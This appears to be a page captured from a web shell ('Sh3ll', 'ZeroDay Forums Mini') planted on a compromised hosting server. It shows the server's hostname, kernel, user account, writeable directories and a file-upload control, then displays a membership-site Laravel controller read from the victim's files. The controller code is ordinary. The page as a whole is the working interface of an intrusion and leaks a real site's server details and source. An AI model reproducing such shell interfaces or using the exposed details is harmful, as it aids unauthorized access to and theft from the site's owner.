Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/public_html/app/Http/Controllers/Membership/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/public_html/app/Http/Controllers/Membership/MembershipController.php
<?php
namespace App\Http\Controllers\Membership;

use App\Http\Controllers\SiteController;
use App\Http\Requests;
use App\Modules\Banners\Repositories\BannersRepo;
use App\Modules\Services\Models\ServiceType;
use App\Modules\Pages\Repositories\PageRepository;
use Illuminate\Support\Facades\Storage;
use App\Modules\Plans\Models\Plan;
use App\Modules\Plans\Models\Price;
use App\Modules\Plans\Http\Controllers\Admin\PlanController;

class MembershipController extends SiteController
{

    /**
     * Create a new controller instance.
     *
     * BlogController constructor.
     * @param BannersRepo $banners
     */
    public function __construct(BannersRepo $banners, PageRepository $pages)
    {
        parent::__construct($banners);

        $this->pages = $pages;
    }

    /**
     * Event details
     * @param $slug
     */
    public function home()
    {
        return view('membership.pages.home');
    }

    public function partnerWithUsForm()
    {
        return view('membership.pages.partnerWithUsForm');
    }

    public function salon_owner()
    {
        $this->data['plans'] = Plan::with('prices')->get();
        // dd($this->data['plans']);
        return view('membership.pages.salon_owner', $this->data);
    }

    public function mobile_services()
    {
        $this->data['plans'] = Plan::with('prices')->get();

        return view('membership.pages.mobile_services', $this->data);
    }

    public function getMembership(){
        // dd("here");
        $this->data['plans'] = Plan::with('prices')->get();
        return view('membership.pages.get_membership', $this->data);
    }

    public function myMembership() {
        $this->data['subscriptions'] = [];
        $this->data['start_date'] = null;
        $this->data['end_date'] = null;
        $subscription_obj = new PlanController;
        $this->data['subscriptions'][] = $subscription_obj->getSubscriptionDetails();
        // dd($this->data['subscriptions']);
        // dd(!empty($this->data['subscriptions'][0]) && count($this->data['subscriptions'][0]) > 0);
        if(!empty($this->data['subscriptions'][0]) && count($this->data['subscriptions'][0]) > 0) {
            if(!empty($this->data['subscriptions'][0]->plan)) {
                $this->data['plan'] = Price::with('product')->where('price_id', $this->data['subscriptions'][0]->plan->id)->first();
            }
            if(!empty($this->data['subscriptions'][0]->start_date)) {
                $this->data['start_date'] = date('Y-m-d', $this->data['subscriptions'][0]->start_date);
            } 
            if(!empty($this->data['subscriptions'][0]->current_period_end)) {
                $this->data['end_date'] = date('Y-m-d', $this->data['subscriptions'][0]->current_period_end);
            }
        }
        // dd($this->data['plan']);
        return view('membership.pages.my_membership', $this->data);
    }

    public function cancelMembership() {
        return view('membership.pages.cancel_subscription');
    }

    public function cancelMembershipStep2() {
        return view('membership.pages.cancel_subscription_step_2');
    }

    public function cancelSubscription() {
        return view('membership.pages.cancel_confirmaiton');
    }

    public function successSubscription(){
        return view('membership.pages.subscription_successful');
    }

    public function successEnquiry(){
        return view('membership.pages.enquiry_succesfull');
    }
    public function successContact(){
        return view('membership.pages.contact_succesfull');
    }

    public function failedSubscription() {
        return view('membership.pages.subscription_failed');
    }

    public function updateCard() {
        return view('membership.pages.update_card_subscription');
    }

    public function cardUpdateSuccess() {
        return view('membership.pages.success_card_update');
    }

}

ZeroDay Forums Mini